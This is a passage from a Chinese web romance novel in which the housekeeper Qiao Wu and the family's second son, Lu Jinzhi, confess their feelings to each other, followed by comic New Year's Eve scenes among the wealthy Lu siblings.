还好还好,至少家里最大那个疯子不会发疯了,也不会唱铁窗泪了。 说出来后乔梧自己都轻松不少,她定下心神继续道:“您跟他的谈话,他没有详细跟我说,所以我想如果您这里有什么顾虑,您可以跟我提一提。” 陆江有些惊讶地看着她。 他没想到这种事居然会是乔梧跟自己提出来,这明明应该由陆尽之来担当。 到这一刻他才意识到自己犯了一个多大的错误。 当初他看重乔梧从小的聪明和冷静来培养她,连他都忍不住对她刮目相看,更别提家里那几个跟她年岁相差无几的逆子了。 优秀的人吸引任何人都不奇怪。 除非那个人身上带有一些硬伤,比如陆尽之那六亲不认的嘴。 他对孩子的另一半向来没有什么高要求,更没有门第之见,因为陆家有足够的家底,也不需要谁来帮衬,相反干净一点的孩子还要更合适一点,所以只要对方能够让人认可让人喜欢就行。 他终其一生也就一个妻子,妻子过世后一辈子尽心尽力花在公司上是为了让孩子们有衣食无忧的生活,让他们不必为了这种世俗的门第烦恼,为了做他们的底气。 只是他是一个好老板,却不是一个好父亲,到底兜兜转转也不算太成功,现在能做的无非也就是让家里更安宁一点。 他没想过那个人会是乔梧,会是让家里安宁和让家里不安宁同时矛盾的一个人。 现在看到乔梧的态度,陆江反而多了些不忍心。 觉得陆尽之真的造孽。 可事到如今,他也不能怎么办。 拿钱把乔梧砸走? 现在陆宣都不拍这种恶俗狗血的电视剧了。 乔梧不是在意钱的人,再者老二会差那点钱? 到最后别是老二用钱砸别人来拔他氧气管。 “小梧。”陆江放缓了语气,“你聪明又有能力,叔叔很喜欢你,对你没有什么意见,你跟老二走到一起,我倒是觉得你吃亏了。” 乔梧:“……” 什么东西? “老二这个人,他从小就跟其他孩子不一样。”陆江叹了口气,“不说别人,哪怕是我现在都摸不清他心里的想法,他能找到真心实意对他的另一半我都得晚晚烧高香,所以那个人是你我反而放心。” 乔梧听不懂了。 那到底陆尽之跟陆叔叔在吵什么? 然后她见陆江摸了摸自己的胸口,颇有些恨铁不成钢的味道:“但是家里这几个孩子你也看到了,都不够成熟,如果他们知道你跟老二走到一起会怎么样?” 乔梧明白了。 原来陆尽之说的“他们怎么接受是他们的事”是这个意思。 “叔叔没有其他意思。”陆江现在可不能说不让两人在一起,便道,“如果你真的做了决定,暂时也不要告诉他们吧?” 乔梧很想说一句:您想多了。 就算是在同一个空间里,陆尽之当着陆宣的面光明正大说骚话,陆宣都会觉得是他自己喝高了看错了。 但陆叔叔考虑的事情的确有些道理。 她 点点头:“我会认真考虑的。” 顿了顿,又说:“叔叔,其实他们已经是成年人了,都有明辨是非的能力,您不用太担心。” 陆江怎么可能不担心。 但是有乔梧在,他倒是相信她能有分寸,至少能按住老二那只不听话的猴。 他没有再说这个,而是道:“之前你放在家里那些家规和计划书,现在应该也告一段落了,接下来要怎么办?” 陆柠乖乖上学,陆应池也顺利考完试还拿了比赛一等奖,陆宣则是会认真对待自己的事业,至少他是能看进去老三演的那些片段了。 他不是一定要谁来继承公司,只是觉得这些孩子一个个都不成气候,看得让人心烦。 心里的石头终于落下,乔梧不再紧张。 她笑了笑:“那是他们要考虑的事。” 陆江诧异抬眸。 “叔叔。”乔梧认真道,“你应该也知道我在外面多开了一家公司,其实我原本打算在家里待五年,五年后我会有自己的事业和自己要做的事,陆尽之也是因为这个才让我去基金会,所以在这五年里,我会挑选培养下一个有足够能力的管家在继任我的工作,至于以后我也不会不管他们的,但是……” 她顿了顿,又温声道:“我不是决定他们人生的人,他们以后要走的路也不是简单由几行字定下的规矩来定,事实上那些规矩并不是规矩,只是一个唬人玩的小游戏而已。” 如果不是这几个人,这几行字怎么可能就让他们老老实实听话了。 终其原因无非是,他们本质就是这样的人。 只是开始时他们的嘴一个比一个硬,只能靠这种东西来小小的约束一下,让他们给自己找到一个可以下的台阶而已。 乔梧从来没有想过要决定陆家几人以后的未来。 所以陆应池问她以后要做什么时她也没有给过建议,只是让他做好自己就行。 哪怕当时陆宣打电话过来说他很累,她也认可他的放弃。 她从头到尾的目的都不是让他们拥有多高的成就,让他们站在什么行业的顶端成为人生赢家。 她的目的很简单,让他们做好自己,脚踏实地为自己负责,学会成熟。 他们本来就不是很坏的人。 “所以要做什么是他们要考虑的事。”乔梧说,“对我而言只要他们健康开心善良勇敢坚韧成熟,那他们做什么都会成功的。” 哪怕真的做任何事都没有天分,真的失败了。 她也会像当初说的那样给他们兜底。 人哪能用成功的事例来定义。 现在的陆尽之站得那么高,不也常被人亲近的人吐槽不做人吗。 陆江沉默了很久。 最后他很重地吐出一口气,笑道:“小梧,我时常都很怀疑,你是不是真的只有22岁。” 她的很多人生见解处事方法,甚至比他还要多一种超然的境界。 乔梧愣了愣,微微弯唇:“可能不是吧。” “被老二拉在外面跑一天了,去休息吧。”陆江挥挥手,“难得出来,放松一点,我没有其他意思。” 又想到什么似的,黑着脸道:“让老二把我从黑名单里拉出来。” 乔梧默了默,没忍住笑。 怎么在她不知道的时候,陆尽之黑名单又增加了。 从陆江房间里出来,她又去了一趟父亲那儿。 跟陆尽之的事,其他人可以瞒着,但父亲不行。 得知所有事情原委的乔知义着实呆了很久都没回神。 他就说为什么那次看到二少爷送女儿回来呢,合着那会儿就有苗头了。 难怪今天老先生还那么热情地给他倒酒!一个劲在他耳边蛐蛐沈家那个小子不靠谱! 乔知义从来没干扰过孩子的选择,但对方可是陆尽之。 “二少爷他……”他犹豫着问,“你会吃亏吗?” 乔梧挑眉:“要吃亏也是他吃亏。” 任何人在遇到陆尽之时多少都会低下头,包括陆江也束手无策。 所以在看到女儿眉眼间露出的自信后乔知义就放下心来了。 如果不是平等的,女儿不会是这种表情。 他点点头:“你做自己想做的就好。” 到底跟陆江成为亲家也没什么不可以接受的,反正都在一起住了那么多年了。 乔梧在楼下陪父亲聊了一会儿天,再回到自己房间时已经接近十二点。 可能一下子坦诚了太多东西,所以她现在有点睡不着,便坐在窗边看着海。 暧昧关系不过就是一层窗户纸。 虽然做好了心理准备,但到底是第一次,总要有什么地点什么契机,才能把这层纸捅破。 陆尽之总是会在任何时间任何地点表白,但她总要在正式一点的场合去接受吧。 下一次一起单独吃饭的时候么? 明明之前还觉得自己跟陆尽之的相处再平常不过,但一旦有了这种预想,她心却不由自主地开始跳起来。 她垂眸看了眼自己的手,不知道是不是被心跳牵连着,甚至在轻轻颤抖,不知道是不是夜里太安静了,心跳都仿佛在耳边砰砰作响。 忽然有点想见陆尽之。 她如是想。 隔了几秒,又因为这个突兀的想法轻然失笑。 好幼稚。 砰砰砰。 乔梧抬手轻轻捂住心脏的位置,想让它不要再跳了,可忽而觉得不太对劲。 好像不是心跳的声音。 她愣了一下,猝然回头。 是有人在敲门。 谁这么晚了还没睡? 乔梧起身去开门,门打开的那一瞬间,原本应该已经睡了的陆尽之站在门口。 他换了身比白天都要正式的浅领手工西装,黑色的方巾别着领针,手里拿了一束很小很小的浅绿色洋桔梗。 这是什么阵仗? 乔梧的心脏在同一时刻大起又大落,好半天才找到自己的声音。 “你怎么还没睡?” 陆尽之莞尔:“因为爱着一个很好的人。” 因为这突如其来的变故乔梧也顾不上许多,侧身把陆尽之拉进房间里,免得被人看见。 当然这个点可能也没人看得到。 但在私密的环境里她会更加安心一点。 陆尽之任由她的动作,进了房间后看她匆匆去关上门,眼神微沉。 他本来要睡了。 但半夜被不服输的老头打酒店内线电话给薅了出来,陆尽之花了好半天时间才听明白陆江的气急败坏,也才知道乔梧下楼去做了什么。 陆尽之很少那么茫然和慌张过。 不是因为陆江让他以后收敛,而是因为乔梧在别人那里展现的确定和打算。 他想来日方长,但没想过她来日方长的前提会是她独自去面对那些事情。 所以他等不及了。 他原本想过有一天在一个很正式的时刻去给这段关系给到确定的答案,但就像当初猝不及防被铺天盖地的情感淹没一样。 这一次他的计划也被骤然打乱。 不是任何一件事都能按照既定的顺序来,爱人也是如此。 所以他把所有的计划都取消,换了衣服,在极短的时间内找到了一束花来到她门前。 关好门后的乔梧回头,看陆尽之还站在那。 她心里隐隐有了预感,可原本做好的盘算在这一刻都烟消云散,连最基本的思考能力都做不到。 只能眼睁睁看着陆尽之朝自己一步步走近,花束后的他含着笑,在安静的环境里轻轻喊她。 “呜呜。” 陆尽之站定在她眼前,两人之间的距离远比之前在走廊上都要近,而后他微微俯身,隔着花束望进那双还带着惊讶和无措的眼睛里。 “我来要来日方长的章。” 第84章 第八十四章招猫逗狗 为了方便看海沉浸心情,乔梧并没有把房间里的灯光调得太亮,此时此刻她仿佛被黑暗和吹进来的海风裹挟着,连带前面这个人密不透风的视线,灼得她心潮也跟着隐隐的海浪声起伏。 她就这么静静地靠在门口望着刚 才还在想着的人。 对方也没有再同以往那样追赶过来,像是一只已经等待许久的狼将自己的猎物逼近死角,耐心又专注地看着。 过于安静的环境容易让人念头肆虐,所以乔梧及时控住。 “怎么。”她倏忽一笑,“还不把花给我?” 她的声音一出,眼前的男人漆黑的眼里顿时盈满了星河,可依旧没有把花递出去。 陆尽之笑问:“那我可以确认一下吗?” “嗯?” “现在我要摆正什么身份?” 乔梧反问:“你想要什么身份?” “可以名正言顺行使权力的身份。”陆尽之接话很快,像是准备了很久,声音轻柔绵长,“可以牵手,拥抱,亲吻以及更多的身份。” 准备好了是一回事,被说出来又是一回事。 幸好灯光足够昏暗,乔梧才没有窘迫到无法与他对视。 她压着震动到令人到心惊的心跳,将那只有些肉眼察觉不到几乎在颤抖的手心抬起来,强行稳住自己的语气:“你有了。” 陆尽之轻轻笑了声。 抬起手,却不是把花递过去。 而是把那只手给完完全全合拢在了掌心。 指腹在她手背上轻轻摩挲着,低语道:“怎么还是这么凉。” 两人的关系骤然改变,乔梧还有些不习惯,下意识想要躲开,但硬生生忍住了。 陆尽之实在是精明得可以,他会把所有的话都摆在台面上来说,以至于她答应过后就没有退路再拒绝他的靠近和触碰。 她强迫自己注意力转移,望向那束被他拿在另一只手里的花:“你连一束花都不给我?” “都是你的。”陆尽之牵着她走到阳台上。 这里为了观光摆着沙发,有单人的也有长排。 考虑到舒适性,单人沙发也不算小,所以陆尽之坐下后,轻轻一拽,把人也拽到了自己身边坐下。 原本还算宽阔的缝隙在这一瞬间变得拥挤,哪怕隔着衣服都似乎感受到了对方的体温。 那束花被陆尽之放在她的腿上。 “不是来送你花。”陆尽之笑着说,“花是赠品。” “那正品是什么?” 陆尽之抬起两人牵在一起的手:“是我。” 乔梧反应过来,乐不可支:“所以你大半夜把自己打扮成这样?” 这笑声给陆尽之整不自信了,他低头看了看自己。 出门前他还又洗了一次澡,这不是基本要求吗? “谁穿睡衣来表白?” 他可不想以后乔梧回想起这天,率先想到的是他那不合场合的睡衣。 “也没谁会这个时候来表白。”乔梧问,“是陆叔叔找你了吧。” 陆尽之没否认,甚至还想给陆江送面锦旗。 他垂眸摆弄她的指尖,浅浅笑说:“呜呜好厉害。” 什么都想到了,什么都要自己先去解决。 他侧眸看着这人在夜里的脸,怎么都止不住笑。 乔梧被他盯得头皮发麻,反手将人捉弄的手指轻捏在掌心里。 陆尽之顿了片刻神,忽而垂下头,轻轻抵在她的颈窝里。 “好喜欢。” 跟在船上时的抵靠不同,此时两人的距离要近得更多,仿佛只要面向相对,两人就能严丝合缝的贴在一起。 在海上时海浪浮浮沉沉,加上担心他的安危,乔梧想不了太多。 以至于现在他的呼吸喷洒在脖颈上,随着他呼吸的频率,身体一阵阵发麻发烫。 须臾柔软的触感贴上皮肤。 温热的,却不算轻。 察觉那是什么以后,乔梧瞬间收紧了手心的力道。 陆尽之眼睫上下轻动,曲起指尖在她手心里动了动,像是在她的手心作恶。 他笑了笑,在被亲吻过的皮肤上反复啄吻。 在他看来,爱情和情欲脱离不了关系,在他意识到自己的感情时,同时也接受了自己对待这个人的情欲。 他无时无刻不想触碰这个人。 乔梧被这种似有若无的撩拨给激得要受不住了,抽出手捧住陆尽之的脸:“干什么呢。” 陆尽之眸色微暗,声音也比寻常时要低很多,是挥之不去的情人轻语。 “盖章。” 他望着乔梧的眼睛,带着些许深究的考量:“呜呜。” “嗯。” “现在呜呜是什么感觉?”他抬手覆在她的眼尾,轻声问,“你在用什么眼神看我?” 他曾经在自己的眼睛和郭力言的眼睛里看到过一样的光。 那是喜欢。 但每个人的喜欢都不同,他不是郭力言,他势必要得到一个人。 所以呜呜看他的眼神也不同,比寻常时候要浓烈和专注。 乔梧被这人逼到毫无退路,躲也躲不掉。 最后她认输一般低下头,学着陆尽之那样靠在他的肩上,以遮掩住自己青涩的反应。 “陆尽之。”她说,“那是喜欢。” 乔梧从未有过这种倚靠别人的时候,她一直以为做任何事情自己都能行。 但此时此刻当她用这种方式跟另一个人表达亲密时,却从心底生出一种莫名的依赖感来,让她欢喜让她甚至有些着迷。 因为这种距离让她感觉到安心,能够体会到对方和自己的亲密无间。 她没听到陆尽之说话,可却感觉到他一只手挪到她腰间,另一只手落在她的后脖颈出,像是将她完全地纳入自己的范围里。 温热的呼吸停留在她的额角,像是刚才脖子上的触碰一样,很轻却很粘人,一点点的吻过。 陆尽之的手轻轻用了些力道,仿佛要把她的头从肩膀上抬起来。 乔梧莫名觉得唇间有些干涩,她紧张地揪住他的衣摆:“陆尽之。” 他动作没停,在她侧脸落下一吻,喉间发出一声漫不经心的:“嗯?” 乔梧:“我们的事,暂时不要给他们知道吧?” 靠在侧脸的唇忽然停住, 陆尽之像是没听懂一样:“什么?” 乔梧没抬头就知道陆尽之现在不会是高兴的表情。 但这件事的确不适合现在让其他人知道,所以她还是低声说:“等过一段时间,一个合适的时机,他们反应过不会那么大的时候。” 陆尽之语气有些淡:“那是什么时候。” 乔梧心里叹了口气。 毕竟这件事对陆尽之来说的确有些不公平,他说得也对,要怎么接受是其他人的事。 但任何事情都不能按照理想预期来判断。 所以只能先委屈一下他了。 她抬起头,跟陆尽之拉开距离。 只是脖子还在陆尽之的掌控里,只不过他没使劲。 他垂着眼,眼里是一点都不加掩饰的不高兴,却不冷淡。 因为他不会把这种情绪加之在乔梧身上,要记仇也是记其他人的仇。 乔梧想了想,主动抬手环住了他的腰。 男人眉梢轻轻扬起来,发出一声意味不明的疑问。 “你是哥哥,我们多给他们一点忍耐度好不好?”乔梧微微仰着头,用轻缓的语气哄他,“而且感情是我们自己的事,并不是他们不知道我们就不在一起了。” 陆尽之没出声,拇指在她耳后抚了抚。 眼里的不满却一点点散开,他喜欢听“我们”这两个字。 喜欢她坦然的主动,喜欢她毫不掩饰的亲昵。 但是…… “呜呜。”他低声说,“你知道的,在我看来,付出和获得要对等。” 感受到环住自己腰的手力道紧了一瞬,他也不急不缓地保持着原本的动作,安静地看着她。 乔梧看到了他的等待,也听懂了他未尽之意里的引导。 陆尽之精心准备的衣服被她揪得发皱。 她望着近在咫尺的那张唇,有些出神地想,她今天一直没喝水,嘴巴很干。 陆尽之又喊她:“呜呜。” 乔梧轻轻吞咽,哪怕知道就算是她什么都不做陆尽之也会答应她,但她还是抬起头。 很轻地在他下巴上碰了碰又飞快退开。 “差不多行了。”她说,“你还指望今晚在这儿拜堂成亲?” 陆尽之笑了声:“也不是不行。” 乔梧在他身后今天被撞到的地方按了一下,泄愤。 吃了痛陆尽之这才收敛点。 他将人再次拥在怀里,抵了预期里没得到的吻,轻吻她的发尖:“听你的。”- 除夕当天,乔梧起得很早。 没来到这个世界前她的除夕就是一个人,一碗饺子和枯燥着播放声音的春晚。 来到这个世界以后,她也过了几年热闹的除夕。 家里都是男孩子贪玩,所以小时候的除夕还能热闹。 但现在不管是她自己还是陆家人,都很多年没有和和美美地坐下来吃过一顿年夜饭了。 在酒店过年倒是不需要准备什么多余的东西,也不用忙活年夜饭,她早起是准备一会儿去机场接陆宣,顺便带陆柠去买些烟花。 自从听酒店员工说除夕当晚海边会有烟花秀以后陆柠就把自己“挣”来的钱全拿出来,求着乔梧带她也去买烟花来玩。 至于为什么不找陆应池。 纯属是因为这人现在是整个家里最穷的,他现在很仇富。 陆柠担心自己的零花钱会被抢走。 这两天有冷空气,乔梧在外面搭了件薄针织衫,刚从房间里出来就听到隔壁的关门声。 她头都没回就道:“醒这么早?” 回答她的是一个从身后覆盖过来的拥抱。 在两人独有的这一层很少有人过来,所以每次在这儿见面陆尽之都会毫不遮掩地使用自己的权利。 脸被人转过去,陆尽之在她眉心很自然地亲了亲:“我跟你去。” 乔梧已经习惯了。 原以为生活会跟以前不同,可除了陆尽之更加明目张胆的粘人外,好像也没什么差别。 从他怀里出来,知道在人前两人距离要保持一些,所以乔梧在去电梯的这几步路里主动牵着他的手:“你也接他?” 陆尽之用她以前的话来回答:“我们一起。” 两人一起走进电梯,乔梧随口道:“一会儿去买几个红包,要不要连你的一起?” “红包?” 乔梧回头:“你不给陆柠发压岁钱吗?” 陆尽之挑眉:“以前给她发的也不少。” 他没有什么节日的概念,虽然说停了陆应池的卡,但事实上也没少他生活用度。 事实上只要陆应池脑子能转一点,就会发现除了卡,在其他方面他都能拿到钱。 只是陆家的脑子可能分布有问题,也不知道陆应池为什么一定要把没钱的人设进行到底。 要是真想让他没钱,陆尽之一定能让他连酒店门都出不去,还能让他整天到处玩跟人聚餐打游戏? 所以在陆尽之看来压岁钱是没必要存在的东西。 “那不一样,这是仪式感。”乔梧纠正他,“照你那么说,你怎么每次还想方设法来表白呢?” 两者放在一起相提并论,陆尽之还真是辩无可辩。 但于他而言其实没什么差别。 他嗯了声:“好。” 下楼时,陆柠和陆应池面对面坐在桌前。 陆柠手里拿了一张纸,正在跟陆应池掰扯。 “语文63,数学68,英语73,第二语言……”陆柠一边念一边拿着计算器,“你说一分一万的,加起来一共是五百一十三万。” 陆应池越听脸越黑。 他当时忙着比赛忽略了陆柠的课后辅导,为了让陆柠好好考试答应过她,最终成绩一分给她一万块钱。 “你另外请家教了?”他狐疑。 给陆柠一百个胆子她也不敢作弊。 但以他当时辅导陆柠的进度以及陆柠的天赋来看,光是语文这一项都不应该及格。 “钟时夏啊。”陆柠说,“我后面都在跟他学习。” 不得不说,年级第一就是年级第一,不管是辅导还是圈的重点,都跟陆应池不是一个档次。 陆柠愣生生又被拉高了一个台阶。 “我打算把钱分他一半。”陆柠熟练点开收款码,“您这边是支付宝还是微信,支持分期,也提供刷卡服务。” “……” 原本陆应池是可以给的,但由于上次呜呜的亲爹之争,他再次被陆尽之给安排了。 所以现在别说513万,就是13万陆应池的口袋也是空空如也。 “先不急。”陆应池选择先享受当下,“你先把之前我的课时费结了先,我不要一半,就拿你今天的烟花来抵。” 晚点想想办法,找陆尽之把钱要回来。 不行就卖辆车吧。 他有些车也是限量款,适合陆尽之。 大过年的陆尽之要是不给钱,他就告到乔梧那里去。 “我还要精神损失费。”陆应池恬不知耻地说,“你现在进步这么大,也是我提前给你打好了基础,那么多核桃也不是白敲的,知道看你写的字对我的精神造成了多大的损伤吗?” 陆柠愣了一下,还真认真思考了起来。 然后埋头继续按计算器。 陆尽之看着这荒诞的画面,静了几秒,忽然若有所思地在乔梧耳边问:“你说我现在要是亲你一下,他们会不会觉得我是在给你人工呼吸。” 乔梧失笑。 别骂了。 在陆尽之贴过去的那一瞬间,陆应池和陆柠好像装了雷达一样把目光齐刷刷投过来。 陆应池皱眉:“你俩是同一个时间的闹钟?” 怎么每天都一起下来? 他发现最近陆尽之和乔梧同框的次数好像远远比任何一个人都要高。 明明陆尽之现在才是家里最忙的那个人,哪怕是出来度假,公司里也有一堆的事情需要他每天花固定的时间工作解决。 可偏偏不管是什么时候,只有陆应池看到,这两人几乎都是在一起的。 陆尽之:“是同一水平的脑子。” “……”想到一会儿还要跟陆尽之做交易,陆应池忍气吞声。 他刚要想个借口,手机就响了,是群视频。 群里都是一起做职业规划的同学,一来二去关系都很好。 大过年的大学生在家里最闲,时不时就要打一打群视频或者群通话,一起打游戏唠嗑。 陆应池拿着手机走出去。 他是最后一个加入群视频的人,除夕当天难得每个人都到齐了,聊天里吵闹得不行。 “哥!”叶梁在另一头咋咋呼呼,“听说你家酒店今天有烟花看,到时候带我们一起看呗!” 大家都知道陆应池去海边度假了,还是自家酒店。 那烟花秀就是酒店为了东家特意安排的,其他游客只是沾了光。 陆应池嗯了声:“放心,少不了你们的。” 除了酒店的烟花秀,他还准备自己放一点,他可是豁出去脸面跟陆柠讨要了。 别说多少,哪怕一板窜天猴也是能拿到的吧。 “陆应池。”小框里的陈彩文说,“我们家也来这 边度假了,但没住你家酒店,我能不能多付一点钱进去你家沙滩看烟花啊?” 陆家的度假酒店节假日房间都很贵,更别提视野好的房间。 陈彩文她们度假也只能选在普通酒店,但是她真的很想看烟花啊,酒店给陆应池一家放的烟花,当然也只会选在他们正对的沙滩前。 陆应池没当回事:“直接进来不就好了。” 陈彩文的脸红了红:“还是付钱吧,不止我一个人。” “你这表情。”另外一个同学瞧出不对,“你不会是跟男朋友去的吧?” 同学们的感情八卦陆应池都不怎么关注,他在这方面一直都不怎么上心,但陈彩文要带人进来的话他的确得多问问,毕竟是自己的朋友,到时候跟酒店那边说的时候也好让人确认这几人的安全。 他随口问:“几个人?” 陈彩文脸更红了:“两个。” 她的确跟家里出来度假了,但家里有爷爷奶奶睡觉比较早,烟花秀在凌晨十二点,所以长辈不来。 这个时候她也好跟新男朋友出来约会。 “行。”陆应池说,“晚点把名字和身份证号发我,我让人带你们进来。” 陈彩文那边连连道谢非要给他发红包。 陆应池便收了按人头收了两百块钱。 看到那红包的时候他甚至有点热泪盈眶。 两百和513万。 他第一次知道这中间居然有这么大的差距。 很快陈彩文就被她家里人叫走了。 陆应池打算跟乔梧他们一起去接陆宣买烟花。 在他看来,只要是所有人在一起就不能少了自己,否则到时候还不知道自己在别人口中成了什么东西。 所以一定不能掉队。 他正要挂断视频,其中有个同学就忍不住叹道:“陈彩文怎么就有男朋友了?她不是对陆应池……” 费景明和叶梁立刻着急忙慌地咳嗽起来,打断了那个人:“咳咳咳!” 听到自己名字的陆应池茫然抬了下眼。 “对我什么?” “没什么没什么。”费景明说,“你一会儿替我们给姐拜个年哈,晚点我们打电话来再跟她亲自说。” 陆应池扬了扬眉:“知道了。” 他很快挂了电话,脑海里却没有忽略掉同学们的话。 陈彩文对他? 他虽然不太在意这些事情,但身边女生的确是很少,也是个血气方刚的青年了,怎么可能听不懂这些话。 他忽然想起来之前在学校时,陈彩文的确有段时间对他是有些亲近。 几个同学一起去他家的时候,她也说过一些比较私密的话题。 原来还有这么一回事。 陆应池有点心虚,因为他完全没看出来。 但也松了口气,还好人家已经有男朋友了,否则不就更操蛋了么。 很快陈彩文的消息就发过来了。 陆应池给酒店经理打了个电话,却不是让酒店带人进来,而是问还有没有合适的房间。 作为朋友,陈彩文来这边度假没跟他说的原因他大概也知道。 如果换做以往陆应池可能还会顾及一些,但现在不一样了。 乔梧说过,有些东西该用还是要用的,不必为了一些莫名的包袱忽略掉自己本该使用的权力。 他对朋友一直都很大方,过去像胡卓那种人都能随意使用他的车住他名下的房子一晚喝他好几百万的酒,现在遇到真正的朋友,他当然不会委屈这些人。 得到酒店那边的答复后,他让酒店准备了两套,然后分别给陈彩文发过去,让她一家和她男朋友分别入住。 陈彩文那边感叹号几乎要把整个屏幕给冲爆了,电话飞快地打过来。 陆应池却没接,只是打字道:“没什么意思,空着也是空着,换做费景明他们来我也会让他们住,不用有什么压力,对我来说这只是一件小事,也不值几个钱。” 另外一头的陈彩文安静了很久,然后打来几个字:“你现在出门不用坐地铁了吗?” 陆应池:“……” 草。 其实换做其他人就会觉得陆应池说的话就是凡尔赛了,但跟他熟悉的朋友却不这么想。 他这人就是一根筋,酒店那些钱对他来说真的跟两百块没什么区别。 每个人的阶级不一样,所以眼里看重的东西也不一样,衡量物质的眼光也不一样。 到底陈彩文还是把今年收到的所有压岁钱都转给了陆应池,跟他表示了谢谢。 陆应池也坦然收下,好歹今晚能多买几箱烟花来放,就不去嚯嚯陆柠的零花钱了。 他收好手机转身准备回去,目光却隔着落地窗看到桌前正在吃早餐的陆尽之和乔梧,两人肩并肩坐在一起,偶而说句话,好像跟往常一样。 可不知道说起什么,陆尽之笑了下,很随意地抬手在乔梧侧脸碰了碰,很快又放下来。 陆应池在原地站了会儿,那画面怎么看怎么觉得不对。 乔梧不应该跟打他的手一样把陆尽之那只猴给打开?- 陆宣飞机落地后他走路的脚步都十分轻快,心情十分好地接连在工作群里给孟星星他们发了好几个红包。 他已经做好自己回去的准备了,没想到乔梧说会来接他! 接他! 这种待遇他小半年都没得到过了! 一定是乔梧看到了他的进步! 孟星星那边领了红包后就打了电话过来:“哥,你到了?” “到了。”陆宣语气轻快,“我到了,一会儿乔梧会来接我,先给你们拜个年,今明两天没什么事就不要来打扰我了。” 好不容易才有的假期。 “行,不打扰你。”孟星星放假也不想去聊工作,“对了哥,你今天还是走贵宾通道吗?” “不然?” “是这样的。”孟星星说,“刚才小助理那边说,你有几个粉丝知道你的行程以后打算去接机,可能会在外面等你。” 陆宣语气有点怪异:“粉丝?接机?” 他什么时候有粉丝了? 微博上的确有些人关注,除了那些黑粉,还有些是之前节目攒的。 但由于他拍的戏还没上,所以算不上有作品的艺人,所以现在行程都相对比较自由。 “对,其实是粉丝那边自己摸出来的。” 有一说一,从陆尽之小时候进入陆氏开始就一直有人关注他,从他回国后关注度更是直线上升。 虽然但是,现在关注陆尽之的人比关注陆宣的人还要多一点。 陆尽之来海边度假的事情不算个秘密,毕竟一大家子都在这儿,就算是挖陆江这种养老行程的人都能挖出来。 然后陆宣的粉丝再结合陆宣剧组放假的时间线,就找到小助理的微博留言,打算在这边蹲着。 小助理这才把事情告诉孟星星。 “我没让她们白等。”孟星星说,“把你的航班跟她们说了,要不要出去看你,过完这班她们就会回去的。” 陆宣轻啧了声。 但到底还是停了下来,挂完电话后从包里拿出镜子,对着自己照了照。 完美。 在他的认知里,来接机的场面应该是手里拿着他的帅照,粉丝将机场围得水泄不通,疯狂又着迷地呼喊他的名字,为他的一颦一笑的魅力所倾倒。 虽然没经历过,但是他好歹也是见过大世面的人。 不至于被这种场面吓唬到。 想了想,他还嘱咐机场的人多派来几个保镖,避免到时候造成拥堵。 准备好这一切,他给乔梧发了个消息说自己今天走普通通道,然后戴上墨镜出发了。 如果乔梧过来,一定能看到他光芒万丈的形象。 收到消息的乔梧也有些诧异,没想到陆宣还懂得经营粉丝关系了。 “去停车场吧。”她对开车的陆尽之说,“他走普通通道见粉丝。” “粉丝?”后面的陆柠探出脑袋,立刻举起相 机跃跃欲试,“是要签名那种吗?陆宣出息了欸!他的签名照现在多少钱一张?” 陆应池掏出手机点开陆宣的粉丝超话递给陆柠看:“卖他的签名照,你成本都找不回来。” 陆柠一想,好像也是。 又失落地坐了回去。 乔梧也不确定是什么场面,先打电话给孟星星确认了一下。 在外面耽搁了十来分钟,一行人才来到接机口。 陆柠踮着脚尖:“这么多人,也看不到他啊。” “看他干什么,又不是……” 旁边的陆尽之淡淡睨他一眼:“车轱辘。” 刚才在车上,陆应池才用自己爱车跟陆尽之换了520万。 一个车轱辘就亏不少了。 他冷哼了声。 乔梧听到后笑问:“怎么不多要点儿?” 陆家人的车都放在车库里,虽然说哪一辆是谁的,但其实并没有明确的界限。 只不过以前他们都觉得自己跟对方不熟,自然也不会去打谁的主意,觉得自己的就是自己的。 事实上车钥匙都放在车库里,司机也是共用的。 哪怕陆尽之真的要了那辆车,也依旧放在那里,更懒得去办过户,谁拿到车钥匙谁都可以开。 也只有陆应池还傻乎乎以为陆尽之那五百多万是给他买车用的了。 但就跟那些家规一样,笨蛋条约只有笨蛋才会遵守。 “你那车不止520万吧。”她笑着说,“给了陆柠五百万你还剩什么?” 陆应池深沉地说:“你不懂,有钱是原罪。” 只要他身上没钱,他就不是万恶的有钱人。 他意味深长地瞄了陆尽之一眼:“像陆尽之这种,就是罪无可赦了。” 乔梧虚心求教:“怎么说?” “霸道总裁。”陆应池道,“他两个都占了,你的避雷指南不都整个把他避了么?” 当初陆宣说得对啊,那指南的指向性的确是强。 乔梧:“……?” 陆尽之原本懒得搭理他,但听到这话后却依旧忍不住转过头来,眼神带着几分匪夷所思。 陆应池:“干什么?” 为什么要用这种看傻逼的眼神看我! “你高考前去上过香?”陆尽之问。 “没有啊,我不搞那些迷信的东西。”陆应池一脸莫名,“怎么?” 陆尽之扫了眼他的腿,笑了下:“还以为你跟菩萨做了什么交易,比如一条腿换个学历。” 很难想象这种脑子居然能考上大学。 陆柠没忍住,捂住嘴巴:“噗!” 连乔梧都忍俊不禁,垂眼笑个不停。 她没想到那份指南居然能被曲解到这种地步。 陆应池反应过来了,瞬间炸毛:“我靠!陆尽之你大过年的不怕被鞭炮轰走吗!” 陆尽之无所谓道:“随便。” “哎呀,别吵了别吵了。”陆柠挤到两人中间,“让我康康陆宣怎么还没来。” 陆尽之收回视线:“让他背你。” 陆柠瞬间扭头望向陆应池。 后者怒道:“为什么是我!” 陆尽之挑了下唇:“你们负负得正,叠加一下正好。” “……” 眼看着陆应池又要暴走,乔梧把陆尽之朝自己这边拉了点儿,知道他这是恶趣味又作祟了。 就喜欢看人被他几句话怼得情绪激烈的样子。 她失笑:“非得招惹一下?” “闲来无事,招猫逗狗。” “这是个贬义词。” “嗯。”陆尽之转头笑问,“呜呜以为我是什么好人?” 他不是个圣人。 给陆家人安稳生活的前提是,他要知道这些人有这个资格。 所以他想看到他们破防又无可奈何。 这才能让他感知到他对陆家人是特殊的,他在家人这里有特权,他也才能继续把这份安稳带给他们。 闻言乔梧也无奈笑了,在陆应池和陆柠看不到的地方轻轻拧一下他的手背。 另一边的陆应池虽然被骂了,但他无法反驳陆柠还是个小矮子的事实。 “你每天吃那么多都吃去哪了?”陆应池皱眉见她跳起来都不到自己的肩膀,到底还是骂骂咧咧地蹲下去,“上来。” 陆柠愣了愣:“真的?” “假的。”陆应池不耐道,“快点。” 生怕他反悔,陆柠立刻跳到他背上,在陆应池站起来的那一瞬,她视野瞬间开阔:“哇,这就是站在巨人肩膀上看世界的感觉吗!陆应池你好牛!” 